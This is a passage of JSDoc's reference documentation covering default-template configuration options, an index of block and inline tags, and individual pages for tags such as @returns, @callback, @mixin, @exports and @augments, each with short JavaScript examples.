navigation column](#showing-longnames-in-the-navigation-column) * [Overriding the default template's layout file](#overriding-the-default-templates-layout-file) * [Related Links](#related-links) JSDoc's default template provides several options that you can use to customize the appearance and content of generated documentation. To use these options, you must [create a configuration file](about-configuring-jsdoc) for JSDoc and set the appropriate options in the configuration file. Generating pretty-printed source files -------------------------------------- By default, JSDoc's default template generates pretty-printed versions of your source files. It also links to these pretty-printed files in the documentation. To disable pretty-printed files, set the option `templates.default.outputSourceFiles` to `false`. Using this option also removes links to your source files from the documentation. This option is available in JSDoc 3.3.0 and later. Copying static files to the output directory -------------------------------------------- JSDoc's default template automatically copies a few static files, such as CSS stylesheets, to the output directory. In JSDoc 3.3.0 and later, you can tell the default template to copy additional static files to the output directory. For example, you might want to copy a directory of images to the output directory so you can display these images in your documentation. To copy additional static files to the output directory, use the following options: * `templates.default.staticFiles.include`: An array of paths whose contents should be copied to the output directory. Subdirectories will be copied as well. * `templates.default.staticFiles.exclude`: An array of paths that should *not* be copied to the output directory. * `templates.default.staticFiles.includePattern`: A regular expression indicating which files to copy. If this property is not defined, all files will be copied. * `templates.default.staticFiles.excludePattern`: A regular expression indicating which files to skip. If this property is not defined, nothing will be skipped. Copying a directory of images to the output directory To copy all of the static files in `./myproject/static` to the output directory: ``` { "templates": { "default": { "staticFiles": { "include": [ "./myproject/static" ] } } } } ``` If your static files directory contains the file `./myproject/static/img/screen.png`, you can display the image in your docs by using the HTML tag `<img src="img/screen.png">`. Showing the current date in the page footer ------------------------------------------- By default, JSDoc's default template always shows the current date in the footer of the generated documentation. In JSDoc 3.3.0 and later, you can omit the current date by setting the option `templates.default.includeDate` to `false`. Showing longnames in the navigation column ------------------------------------------ By default, JSDoc's default template shows a shortened version of each symbol's name in the navigation column. For example, the symbol `my.namespace.MyClass` would be displayed simply as `MyClass`. To show the complete longname instead, set the option `templates.default.useLongnameInNav` to `true`. This option is available in JSDoc 3.4.0 and later. Overriding the default template's layout file --------------------------------------------- The default template uses a file named `layout.tmpl` to specify the header and footer for each page in the generated documentation. In particular, this file defines which CSS and JavaScript files are loaded for each page. In JSDoc 3.3.0 and later, you can specify your own `layout.tmpl` file to use, which allows you to load your own custom CSS and JavaScript files in addition to, or instead of, the standard files. To use this feature, set the option `templates.default.layoutFile` to the path to your customized layout file. Relative paths are resolved against the current working directory; the path to the configuration file; and the JSDoc directory, in that order. Related Links ------------- [Configuring JSDoc with a configuration file](about-configuring-jsdoc) jsdoc @returns @returns ======== Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- `@return` Syntax ------ `@returns [{type}] [description]` Overview -------- The `@returns` tag documents the value that a function returns. If you are documenting a generator function, use the [`@yields` tag](tags-yields) instead of this tag. Examples -------- Return value with a type ``` /** * Returns the sum of a and b * @param {number} a * @param {number} b * @returns {number} */ function sum(a, b) { return a + b; } ``` Return value with a type and description ``` /** * Returns the sum of a and b * @param {number} a * @param {number} b * @returns {number} Sum of a and b */ function sum(a, b) { return a + b; } ``` Return value with multiple types ``` /** * Returns the sum of a and b * @param {number} a * @param {number} b * @param {boolean} retArr If set to true, the function will return an array * @returns {(number|Array)} Sum of a and b or an array that contains a, b and the sum of a and b. */ function sum(a, b, retArr) { if (retArr) { return [a, b, a + b]; } return a + b; } ``` Returns a promise ``` /** * Returns the sum of a and b * @param {number} a * @param {number} b * @returns {Promise} Promise object represents the sum of a and b */ function sumAsync(a, b) { return new Promise(function(resolve, reject) { resolve(a + b); }); } ``` Related Links ------------- * [@param](tags-param) * [@yields](tags-yields) jsdoc @inheritdoc @inheritdoc =========== Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Overview -------- The `@inheritdoc` tag indicates that a symbol should inherit its documentation from its parent class. Any other tags that you include in the JSDoc comment will be ignored. This tag is provided for compatibility with [Closure Compiler](https://developers.google.com/closure/compiler/). By default, if you do not add a JSDoc comment to a symbol, the symbol will inherit documentation from its parent. The presence of the `@inheritdoc` tag implies the presence of the [`@override` tag](tags-override). Examples -------- The following example shows how a class can indicate that it inherits documentation from its parent class: Class that inherits from a parent class ``` /** * @classdesc Abstract class representing a network connection. * @class */ function Connection() {} /** * Open the connection. */ Connection.prototype.open = function() { // ... }; /** * @classdesc Class representing a socket connection. * @class * @augments Connection */ function Socket() {} /** @inheritdoc */ Socket.prototype.open = function() { // ... }; ``` You can get the same result by omitting the JSDoc comment from `Socket#open`: Inheriting documentation without the `@inheritdoc` tag ``` /** * @classdesc Abstract class representing a network connection. * @class */ function Connection() {} /** * Open the connection. */ Connection.prototype.open = function() { // ... }; /** * @classdesc Class representing a socket connection. * @class * @augments Connection */ function Socket() {} Socket.prototype.open = function() { // ... }; ``` Related Links ------------- [@override](tags-override) jsdoc JSDoc JSDoc ===== Getting Started --------------- [Getting Started with JSDoc 3](about-getting-started) A quick-start to documenting JavaScript with JSDoc. [Using namepaths with JSDoc 3](about-namepaths) A guide to using namepaths with JSDoc 3. [Command-line arguments to JSDoc](about-commandline) About command-line arguments to JSDoc. [Configuring JSDoc with a configuration file](about-configuring-jsdoc) How to configure JSDoc using a configuration file. [Configuring JSDoc's default template](about-configuring-default-template) How to configure the output from JSDoc's default template. [Block and inline tags](about-block-inline-tags) Overview of block and inline JSDoc tags. [About JSDoc plugins](about-plugins) How to create and use JSDoc plugins. [Using the Markdown plugin](plugins-markdown) Enable Markdown support in JSDoc. [Tutorials](about-tutorials) Adding tutorials to your API documentation. [Including a Package File](about-including-package) How to show package details in your documentation. [Including a README File](about-including-readme) How to include a README file in your documentation. [License](https://jsdoc.app/about-license-jsdoc3.html) License information for JSDoc 3. JSDoc Examples -------------- [ES 2015 Classes](howto-es2015-classes) How to add JSDoc comments to ECMAScript 2015 classes. [ES 2015 Modules](howto-es2015-modules) How to add JSDoc comments to ECMAScript 2015 modules. [CommonJS Modules](howto-commonjs-modules) How to add JSDoc comments to CommonJS and Node.js modules. [AMD Modules](howto-amd-modules) How to add JSDoc comments to AMD and RequireJS modules. Block Tags ---------- [@abstract](tags-abstract) (synonyms: @virtual) This member must be implemented (or overridden) by the inheritor. [@access](tags-access) Specify the access level of this member (private, package-private, public, or protected). [@alias](tags-alias) Treat a member as if it had a different name. [@async](tags-async) Indicate that a function is asynchronous. [@augments](tags-augments) (synonyms: @extends) Indicate that a symbol inherits from, and adds to, a parent symbol. [@author](tags-author) Identify the author of an item. [@borrows](tags-borrows) This object uses something from another object. [@callback](tags-callback) Document a callback function. [@class](tags-class) (synonyms: @constructor) This function is intended to be called with the "new" keyword. [@classdesc](tags-classdesc) Use the following text to describe the entire class. [@constant](tags-constant) (synonyms: @const) Document an object as a constant. [@constructs](tags-constructs) This function member will be the constructor for the previous class. [@copyright](tags-copyright) Document some copyright information. [@default](tags-default) (synonyms: @defaultvalue) Document the default value. [@deprecated](tags-deprecated) Document that this is no longer the preferred way. [@description](tags-description) (synonyms: @desc) Describe a symbol. [@enum](tags-enum) Document a collection of related properties. [@event](tags-event) Document an event. [@example](tags-example) Provide an example of how to use a documented item. [@exports](tags-exports) Identify the member that is exported by a JavaScript module. [@external](tags-external) (synonyms: @host) Identifies an external class, namespace, or module. [@file](tags-file) (synonyms: @fileoverview, @overview) Describe a file. [@fires](tags-fires) (synonyms: @emits) Describe the events this method may fire. [@function](tags-function) (synonyms: @func, @method) Describe a function or method. [@generator](tags-generator) Indicate that a function is a generator function. [@global](tags-global) Document a global object. [@hideconstructor](tags-hideconstructor) Indicate that the constructor should not be displayed. [@ignore](tags-ignore) Omit a symbol from the documentation. [@implements](tags-implements) This symbol implements an interface. [@inheritdoc](tags-inheritdoc) Indicate that a symbol should inherit its parent's documentation. [@inner](tags-inner) Document an inner object. [@instance](tags-instance) Document an instance member. [@interface](tags-interface) This symbol is an interface that others can implement. [@kind](tags-kind) What kind of symbol is this? [@lends](tags-lends) Document properties on an object literal as if they belonged to a symbol with a given name. [@license](tags-license) Identify the license that applies to this code. [@listens](tags-listens) List the events that a symbol listens for. [@member](tags-member) (synonyms: @var) Document a member. [@memberof](tags-memberof) This symbol belongs to a parent symbol. [@mixes](tags-mixes) This object mixes in all the members from another object. [@mixin](tags-mixin) Document a mixin object. [@module](tags-module) Document a JavaScript module. [@name](tags-name) Document the name of an object. [@namespace](tags-namespace) Document a namespace object. [@override](tags-override) Indicate that a symbol overrides its parent. [@package](tags-package) This symbol is meant to be package-private. [@param](tags-param) (synonyms: @arg, @argument) Document the parameter to a function. [@private](tags-private) This symbol is meant to be private. [@property](tags-property) (synonyms: @prop) Document a property of an object. [@protected](tags-protected) This symbol is meant to be protected. [@public](tags-public) This symbol is meant to be public. [@readonly](tags-readonly) This symbol is meant to be read-only. [@requires](tags-requires) This file requires a JavaScript module. [@returns](tags-returns) (synonyms: @return) Document the return value of a function. [@see](tags-see) Refer to some other documentation for more information. [@since](tags-since) When was this feature added? [@static](tags-static) Document a static member. [@summary](tags-summary) A shorter version of the full description. [@this](tags-this) What does the 'this' keyword refer to here? [@throws](tags-throws) (synonyms: @exception) Describe what errors could be thrown. [@todo](tags-todo) Document tasks to be completed. [@tutorial](tags-tutorial) Insert a link to an included tutorial file. [@type](tags-type) Document the type of an object. [@typedef](tags-typedef) Document a custom type. [@variation](tags-variation) Distinguish different objects with the same name. [@version](tags-version) Documents the version number of an item. [@yields](tags-yields) (synonyms: @yield) Document the value yielded by a generator function. Inline Tags ----------- [{@link}](tags-inline-link) (synonyms: {@linkcode}, {@linkplain}) Link to another item in the documentation. [{@tutorial}](tags-inline-tutorial) Link to a tutorial. Contribute ---------- [JSDoc project on GitHub](https://github.com/jsdoc3/jsdoc) Contribute to JSDoc. [Use JSDoc project on GitHub](https://github.com/jsdoc3/jsdoc3.github.com) Contribute to the JSDoc documentation. [Fork me on GitHub](https://github.com/jsdoc3/jsdoc) jsdoc @callback @callback ========= Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@callback <namepath>` Overview -------- The @callback tag provides information about a callback function that can be passed to other functions, including the callback's parameters and return value. You can include any of the tags that you can provide for a @method. Once you define a callback, you can use it in the same way as a custom type defined with the @typedef tag. In particular, you can use the callback's name as a type name. This allows you to indicate that a function parameter should contain a certain type of callback. If you want a callback to be displayed with the type definitions for a specific class, you can give the callback a namepath indicating that it is an inner function of that class. You can also define a global callback type that is referenced from multiple classes. Examples -------- Documenting a class-specific callback ``` /** * @class */ function Requester() {} /** * Send a request. * @param {Requester~requestCallback} cb - The callback that handles the response. */ Requester.prototype.send = function(cb) { // code }; /** * This callback is displayed as part of the Requester class. * @callback Requester~requestCallback * @param {number} responseCode * @param {string} responseMessage */ ``` Documenting a global callback ``` /** * @class */ function Requester() {} /** * Send a request. * @param {requestCallback} cb - The callback that handles the response. */ Requester.prototype.send = function(cb) { // code }; /** * This callback is displayed as a global member. * @callback requestCallback * @param {number} responseCode * @param {string} responseMessage */ ``` Related Links ------------- * [@function](tags-function) * [@typedef](tags-typedef) jsdoc @summary @summary ======== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@summary Summary goes here.` Overview -------- The @summary tag is a shorter version of the full description. It can be added to any doclet. Examples -------- ``` /** * A very long, verbose, wordy, long-winded, tedious, verbacious, tautological, * profuse, expansive, enthusiastic, redundant, flowery, eloquent, articulate, * loquacious, garrulous, chatty, extended, babbling description. * @summary A concise summary. */ function bloviate() {} ``` Related Links ------------- * [@classdesc](tags-classdesc) * [@description](tags-description) jsdoc @version @version ======== Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Overview -------- Documents the version of an item. The text following the @version tag will be used to denote the version of the item. Examples -------- Using the @version tag ``` /** * Solves equations of the form a * x = b. Returns the value * of x. * @version 1.2.3 * @tutorial solver */ function solver(a, b) { return b / a; } ``` Related Links ------------- [@since](tags-since) jsdoc @mixes @mixes ====== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@mixes <OtherObjectPath>` Overview -------- The @mixes tag indicates that the current object mixes in all the members from `OtherObjectPath`, which is a [@mixin](tags-mixin). Examples -------- To start, we document a mixin with the [@mixin](tags-mixin) tag: Example of a @mixin ``` /** * This provides methods used for event handling. It's not meant to * be used directly. * * @mixin */ var Eventful = { /** * Register a handler function to be called whenever this event is fired. * @param {string} eventName - Name of the event. * @param {function(Object)} handler - The handler to call. */ on: function(eventName, handler) { // code... }, /** * Fire an event, causing all handlers for that event name to run. * @param {string} eventName - Name of the event. * @param {Object} eventData - The data provided to each handler. */ fire: function(eventName, eventData) { // code... } }; ``` Now we add a FormButton class and call a "mix" function that mixes all of the Eventful functions into FormButton, so that FormButton can also fire events and have listeners. We use the @mixes tag to indicate that FormButton mixes the Eventful functions. Using the @mixes tag ``` /** * @constructor FormButton * @mixes Eventful */ var FormButton = function() { // code... }; FormButton.prototype.press = function() { this.fire('press', {}); } mix(Eventful).into(FormButton.prototype); ``` Related Links ------------- * [@borrows](tags-borrows) * [@class](tags-class) * [@mixin](tags-mixin)
programming_docs
jsdoc @class @class ====== Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- `@constructor` Syntax ------ `@class [<type> <name>]` Overview -------- The @class tag marks a function as being a constructor, meant to be called with the new keyword to return an instance. Examples -------- A function that constructs Person instances. ``` /** * Creates a new Person. * @class */ function Person() { } var p = new Person(); ``` Related Links ------------- [@constructs](tags-constructs) jsdoc @override @override ========= Table of Contents ----------------- * [Overview](#overview) * [Example](#example) * [Related Links](#related-links) Overview -------- The `@override` tag indicates that a symbol overrides a symbol with the same name in a parent class. This tag is provided for compatibility with [Closure Compiler](https://developers.google.com/closure/compiler/). By default, JSDoc automatically identifies symbols that override a parent. If your JSDoc comment includes the [`@inheritdoc` tag](tags-inheritdoc), you do not need to include the `@override` tag. The presence of the `@inheritdoc` tag implies the presence of the `@override` tag. Example ------- The following example shows how to indicate that a method overrides a method in its parent class: Method that overrides a parent ``` /** * @classdesc Abstract class representing a network connection. * @class */ function Connection() {} /** * Open the connection. */ Connection.prototype.open = function() { // ... }; /** * @classdesc Class representing a socket connection. * @class * @augments Connection */ function Socket() {} /** * Open the socket. * @override */ Socket.prototype.open = function() { // ... }; ``` Related Links ------------- [@inheritdoc](tags-inheritdoc) jsdoc @deprecated @deprecated =========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Syntax ------ `@deprecated [<some text>]` Overview -------- The @deprecated tag marks a symbol in your code as being deprecated. Examples -------- You can use the @deprecated tag by itself, or include some text that describes more about the deprecation. Document that the old function has been deprecated since version 2.0 ``` /** * @deprecated since version 2.0 */ function old() { } ``` jsdoc @access @access ======= Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@access <package|private|protected|public>` Overview -------- The `@access` tag specifies the access level of a member. You can use the `@access` tag as a synonym for other tags: * `@access package` is the same as `@package`. This option is available in JSDoc 3.5.0 and later. * `@access private` is the same as `@private`. * `@access protected` is the same as `@protected`. * `@access public` is the same as `@public`. Private members are not shown in the generated output unless JSDoc is run with the `-p/--private` command-line option. In JSDoc 3.3.0 and later, you can also use the [`-a/--access` command-line option](about-commandline) to change this behavior. Note that a doclet's *access level* is different from its *scope*. For example, if `Parent` has an inner variable named `child` that is documented as `@public`, the `child` variable will still be treated as an inner variable with the namepath `Parent~child`. In other words, the `child` variable will have an inner scope, even though the variable is public. To change a doclet's scope, use the [`@instance`](tags-instance), [`@static`](tags-static), and [`@global`](tags-global) tags. Examples -------- Using @access as a synonym for other tags ``` /** @constructor */ function Thingy() { /** @access private */ var foo = 0; /** @access protected */ this._bar = 1; /** @access package */ this.baz = 2; /** @access public */ this.pez = 3; } // same as... /** @constructor */ function OtherThingy() { /** @private */ var foo = 0; /** @protected */ this._bar = 1; /** @package */ this.baz = 2; /** @public */ this.pez = 3; } ``` Related Links ------------- * [@global](tags-global) * [@instance](tags-instance) * [@package](tags-package) * [@private](tags-private) * [@protected](tags-protected) * [@public](tags-public) * [@static](tags-static) jsdoc @async @async ====== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Example](#example) Syntax ------ `@async` Overview -------- The `@async` tag indicates that a function is [asynchronous](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function), meaning that it was declared using the syntax `async function foo() {}`. Do not use this tag for other types of asynchronous functions, such as functions that provide a callback. This tag is available in JSDoc 3.5.0 and later. In general, you do not need to use this tag, because JSDoc automatically detects asynchronous functions and identifies them in the generated documentation. However, if you are writing a virtual comment for an asynchronous function that does not appear in your code, you can use this tag to tell JSDoc that the function is asynchronous. Example ------- The following example shows a virtual comment that uses the `@async` tag: Virtual comment with @async tag ``` /** * Download data from the specified URL. * * @async * @function downloadData * @param {string} url - The URL to download from. * @return {Promise<string>} The data from the URL. */ ``` jsdoc @readonly @readonly ========= Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) Overview -------- The @readonly tag indicates that a symbol is intended to be read-only. Note this is for the purpose of documentation only - JSDoc won't check whether you've *actually* treated the symbol as read-only in your code. Examples -------- Using the @readonly tag ``` /** * A constant. * @readonly * @const {number} */ const FOO = 1; ``` Using the @readonly tag with a getter ``` /** * Options for ordering a delicious slice of pie. * @namespace */ var pieOptions = { /** * Plain. */ plain: 'pie', /** * A la mode. * @readonly */ get aLaMode() { return this.plain + ' with ice cream'; } }; ``` jsdoc ES 2015 Modules ES 2015 Modules =============== Table of Contents ----------------- * [Module identifiers](#module-identifiers) * [Exported values](#exported-values) * [Related Links](#related-links) JSDoc 3 makes it possible to document modules that follow the [ECMAScript 2015 specification](http://www.ecma-international.org/ecma-262/6.0/#sec-modules). ES 2015 modules are supported in JSDoc 3.4.0 and later. Module identifiers ------------------ When you document an ES 2015 module, you'll use a [`@module` tag](tags-module) to document the identifier for the module. For example, if users load the module by calling `import * as myShirt from 'my/shirt'`, you'll write a JSDoc comment that contains the tag `@module my/shirt`. If you use the `@module` tag without a value, JSDoc will try to guess the correct module identifier based on the filepath. When you use a JSDoc [namepath](about-namepaths) to refer to a module from another JSDoc comment, you must add the prefix `module:`. For example, if you want the documentation for the module `my/pants` to link to the module `my/shirt`, you could use the [`@see` tag](tags-see) to document `my/pants` as follows: ``` /** * Pants module. * @module my/pants * @see module:my/shirt */ ``` Similarly, the namepath for each member of the module will start with `module:`, followed by the module name. For example, if your `my/pants` module exports a `Jeans` class, and `Jeans` has an instance method named `hem`, the instance method's longname is `module:my/pants.Jeans#hem`. Exported values --------------- The following example shows how to document different kinds of exported values in an ES 2015 module. In most cases, you can simply add a JSDoc comment to the `export` statement that defines the exported value. If you are exporting a value under another name, you can document the exported value within its `export` block. Documenting values exported by a module ``` /** @module color/mixer */ /** The name of the module. */ export const name = 'mixer'; /** The most recent blended color. */ export var lastColor = null; /** * Blend two colors together. * @param {string} color1 - The first color, in hexadecimal format. * @param {string} color2 - The second color, in hexadecimal format. * @return {string} The blended color. */ export function blend(color1, color2) {} // convert color to array of RGB values (0-255) function rgbify(color) {} export { /** * Get the red, green, and blue values of a color. * @function * @param {string} color - A color, in hexadecimal format. * @returns {Array.<number>} An array of the red, green, and blue values, * each ranging from 0 to 255. */ rgbify as toRgb } ``` Related Links ------------- * [Using namepaths with JSDoc 3](about-namepaths) * [@module](tags-module) jsdoc @requires @requires ========= Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Syntax ------ `@requires <someModuleName>` Overview -------- The @requires tag allows you to document that a module is needed to use this code. A JSDoc comment can have multiple @require tags. The module name can be specified as "moduleName" or "module:moduleName"; both forms will be interpreted as modules. JSDoc does not attempt to process the module that is being included. If you want the module to be included in the documentation, you must include the module in the list of JavaScript files to process. Examples -------- Using the @requires tag ``` /** * This class requires the modules {@link module:xyzcorp/helper} and * {@link module:xyzcorp/helper.ShinyWidget#polish}. * @class * @requires module:xyzcorp/helper * @requires xyzcorp/helper.ShinyWidget#polish */ function Widgetizer() {} ``` jsdoc @mixin @mixin ====== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@mixin [<MixinName>]` Overview -------- A mixin provides functionality that is intended to be added to other objects. If desired, you can use the @mixin tag to indicate that an object is a mixin. You can then add the @mixes tag to objects that use the mixin. Examples -------- Using @mixin ``` /** * This provides methods used for event handling. It's not meant to * be used directly. * * @mixin */ var Eventful = { /** * Register a handler function to be called whenever this event is fired. * @param {string} eventName - Name of the event. * @param {function(Object)} handler - The handler to call. */ on: function(eventName, handler) { // code... }, /** * Fire an event, causing all handlers for that event name to run. * @param {string} eventName - Name of the event. * @param {Object} eventData - The data provided to each handler. */ fire: function(eventName, eventData) { // code... } }; ``` Related Links ------------- * [@borrows](tags-borrows) * [@class](tags-class) * [@mixes](tags-mixes) jsdoc @example @example ======== Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) Overview -------- Provide an example of how to use a documented item. The text that follows this tag will be displayed as highlighted code. Examples -------- Note that a doclet may have multiple examples. Documenting examples ``` /** * Solves equations of the form a * x = b * @example * // returns 2 * globalNS.method1(5, 10); * @example * // returns 3 * globalNS.method(5, 15); * @returns {Number} Returns the value of x for the equation. */ globalNS.method1 = function (a, b) { return b / a; }; ``` Examples can also be captioned using `<caption></caption>` after the @example tag. Documenting examples with a caption ``` /** * Solves equations of the form a * x = b * @example <caption>Example usage of method1.</caption> * // returns 2 * globalNS.method1(5, 10); * @returns {Number} Returns the value of x for the equation. */ globalNS.method1 = function (a, b) { return b / a; }; ``` jsdoc @public @public ======= Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Overview -------- The `@public` tag indicates that a symbol should be documented as if it were public. By default, JSDoc treats all symbols as public, so using this tag does not normally affect the generated documentation. However, you may prefer to use the `@public` tag explicitly so it is clear to others that you intended to make the symbol public. In JSDoc 3, the `@public` tag does *not* affect a symbol's scope. Use the [`@instance`](tags-instance), [`@static`](tags-static), and [`@global`](tags-global) tags to change a symbol's scope. Examples -------- Using the @public tag ``` /** * The Thingy class is available to all. * @public * @class */ function Thingy() { /** * The Thingy~foo member. Note that 'foo' is still an inner member * of 'Thingy', in spite of the @public tag. * @public */ var foo = 0; } ``` Related Links ------------- * [@access](tags-access) * [@global](tags-global) * [@instance](tags-instance) * [@package](tags-package) * [@private](tags-private) * [@protected](tags-protected) * [@static](tags-static) jsdoc @ignore @ignore ======= Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) Overview -------- The `@ignore` tag indicates that a symbol in your code should never appear in the documentation. This tag takes precedence over all others. For most JSDoc templates, including the default template, the `@ignore` tag has the following effects: * If you use the `@ignore` tag with the `@class` or `@module` tag, the entire class or module will be omitted from the documentation. * If you use the `@ignore` tag with the `@namespace` tag, you must also add the `@ignore` tag to any child classes and namespaces. Otherwise, your documentation will show the child classes and namespaces, but with incomplete names. Examples -------- In the following example, `Jacket` and `Jacket#color` will not appear in the documentation. Class with `@ignore` tag ``` /** * @class * @ignore */ function Jacket() { /** The jacket's color. */ this.color = null; } ``` In the following example, the `Clothes` namespace contains a `Jacket` class. The `@ignore` tag must be added to both `Clothes` and `Clothes.Jacket`. `Clothes`, `Clothes.Jacket`, and `Clothes.Jacket#color` will not appear in the documentation. Namespace with child class ``` /** * @namespace * @ignore */ var Clothes = { /** * @class * @ignore */ Jacket: function() { /** The jacket's color. */ this.color = null; } }; ``` jsdoc @function @function ========= Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Synonyms -------- * `@func` * `@method` Syntax ------ `@function [<FunctionName>]` Overview -------- This marks an object as being a function, even though it may not appear to be one to the parser. It sets the doclet's [@kind](tags-kind) to 'function'. Examples -------- Using @function to mark a function. ``` /** @function */ var paginate = paginateFactory(pages); ``` Without the @function tag, the `paginate` object would be documented as a generic object (a [@member](tags-member)), because it isn't possible to tell from examining the line of code what type of value `paginate` will hold when it is run. Using @function with a name. ``` /** @function myFunction */ // the above is the same as: /** @function * @name myFunction */ ``` jsdoc @exports @exports ======== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@exports <moduleName>` In JSDoc 3.3.0 and later, `<moduleName>` may include the `module:` prefix. In previous versions, you must omit this prefix. Overview -------- Use the @exports tag when documenting JavaScript modules that export anything other than the "exports" object or the "module.exports" property. Examples -------- In modules where you are using the special "exports" object, the @exports tag is never needed. JSDoc automatically recognizes that this object's members are being exported. Similarly, JSDoc automatically recognizes the special "module.exports" property in Node.js modules. CommonJS module ``` /** * A module that says hello! * @module hello/world */ /** Say hello. */ exports.sayHello = function() { return 'Hello world'; }; ``` Node.js module ``` /** * A module that shouts hello! * @module hello/world */ /** SAY HELLO. */ module.exports = function() { return "HELLO WORLD"; }; ``` AMD module that exports an object literal ``` define(function() { /** * A module that whispers hello! * @module hello/world */ var exports = {}; /** say hello. */ exports.sayHello = function() { return 'hello world'; }; return exports; }); ``` AMD module that exports a constructor ``` define(function() { /** * A module that creates greeters. * @module greeter */ /** * @constructor * @param {string} subject - The subject to greet. */ var exports = function(subject) { this.subject = subject || 'world'; }; /** Say hello to the subject. */ exports.prototype.sayHello = function() { return 'Hello ' + this.subject; }; return exports; }); ``` If your module exports an object named anything other than "exports" or "module.exports", use the @exports tag to indicate what is being exported. AMD module that exports an object ``` define(function () { /** * A module that says hello! * @exports hello/world */ var ns = {}; /** Say hello. */ ns.sayHello = function() { return 'Hello world'; }; return ns; }); ``` Related Links ------------- * [@module](tags-module) * [CommonJS Modules](howto-commonjs-modules) * [AMD Modules](howto-amd-modules) jsdoc @variation @variation ========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@variation <variationNumber>` Overview -------- Sometimes your code may include multiple symbols with the same longname. For example, you might have both a global class and a top-level namespace called `Widget`. In cases such as these, what does "{@link Widget}" or "@memberof Widget" mean? The global namespace, or the global class? Variations help JSDoc distinguish between different symbols with the same longname. For example, if "@variation 2" is added to the JSDoc comment for the Widget class, "{@link Widget(2)}" will refer to the class, and "{@link Widget}" will refer to the namespace. Alternatively, you can include the variation when you specify the symbol's with tags such as [@alias](tags-alias) or [@name](tags-name) (for example, "@alias Widget(2)"). You can provide any value with the @variation tag, as long as the combination of the value and the longname results in a globally unique version of the longname. As a best practice, use a predictable pattern for choosing the values, which will make it easier for you to document your code. Examples -------- The following example uses the @variation tag to distinguish between the Widget class and the Widget namespace. Using the @variation tag ``` /** * The Widget namespace. * @namespace Widget */ // you can also use '@class Widget(2)' and omit the @variation tag /** * The Widget class. Defaults to the properties in {@link Widget.properties}. * @class * @variation 2 * @param {Object} props - Name-value pairs to add to the widget. */ function Widget(props) {} /** * Properties added by default to a new {@link Widget(2)} instance. */ Widget.properties = { /** * Indicates whether the widget is shiny. */ shiny: true, /** * Indicates whether the widget is metallic. */ metallic: true }; ``` Related Links ------------- * [@alias](tags-alias) * [@name](tags-name)
programming_docs
jsdoc @augments @augments ========= Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- `@extends` Syntax ------ `@augments <namepath>` Overview -------- The `@augments` or`@extends` tag indicates that a symbol inherits from, and potentially adds to, a parent symbol. You can use this tag to document both class-based and prototype-based inheritance. In JSDoc 3.3.0 and later, if a symbol inherits from multiple parents, and both parents have identically named members, JSDoc uses the documentation from the last parent that is listed in the JSDoc comment. Examples -------- In the following example, the `Duck` class is defined as a subclass of `Animal`. `Duck` instances have the same properties as `Animal` instances, as well as a `speak` method that is unique to `Duck` instances. Documenting a class/subclass relationship ``` /** * @constructor */ function Animal() { /** Is this animal alive? */ this.alive = true; } /** * @constructor * @augments Animal */ function Duck() {} Duck.prototype = new Animal(); /** What do ducks say? */ Duck.prototype.speak = function() { if (this.alive) { alert('Quack!'); } }; var d = new Duck(); d.speak(); // Quack! d.alive = false; d.speak(); // (nothing) ``` In the following example, the `Duck` class inherits from both the `Flyable` and `Bird` classes, both of which define a `takeOff` method. Because the documentation for `Duck` lists `@augments Bird` last, JSDoc automatically documents `Duck#takeOff` using the comment from `Bird#takeOff`. Multiple inheritance with duplicated method names ``` /** * Abstract class for things that can fly. * @class */ function Flyable() { this.canFly = true; } /** Take off. */ Flyable.prototype.takeOff = function() { // ... }; /** * Abstract class representing a bird. * @class */ function Bird(canFly) { this.canFly = canFly; } /** Spread your wings and fly, if possible. */ Bird.prototype.takeOff = function() { if (this.canFly) { this._spreadWings() ._run() ._flapWings(); } }; /** * Class representing a duck. * @class * @augments Flyable * @augments Bird */ function Duck() {} // Described in the docs as "Spread your wings and fly, if possible." Duck.prototype.takeOff = function() { // ... }; ``` Related Links ------------- * [@borrows](tags-borrows) * [@class](tags-class) * [@mixes](tags-mixes) * [@mixin](tags-mixin) jsdoc @hideconstructor @hideconstructor ================ Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@hideconstructor` Overview -------- The `@hideconstructor` tag tells JSDoc that the generated documentation should not display the constructor for a class. This tag is available in JSDoc 3.5.0 and later. For pre-ES2015 classes, use this tag in combination with the [`@class` or `@constructor` tag](tags-class). For ES2015 classes, use this tag in the JSDoc comment for your constructor. If your class does not have an explicit constructor, use this tag in the JSDoc comment for the class. Examples -------- @hideconstructor 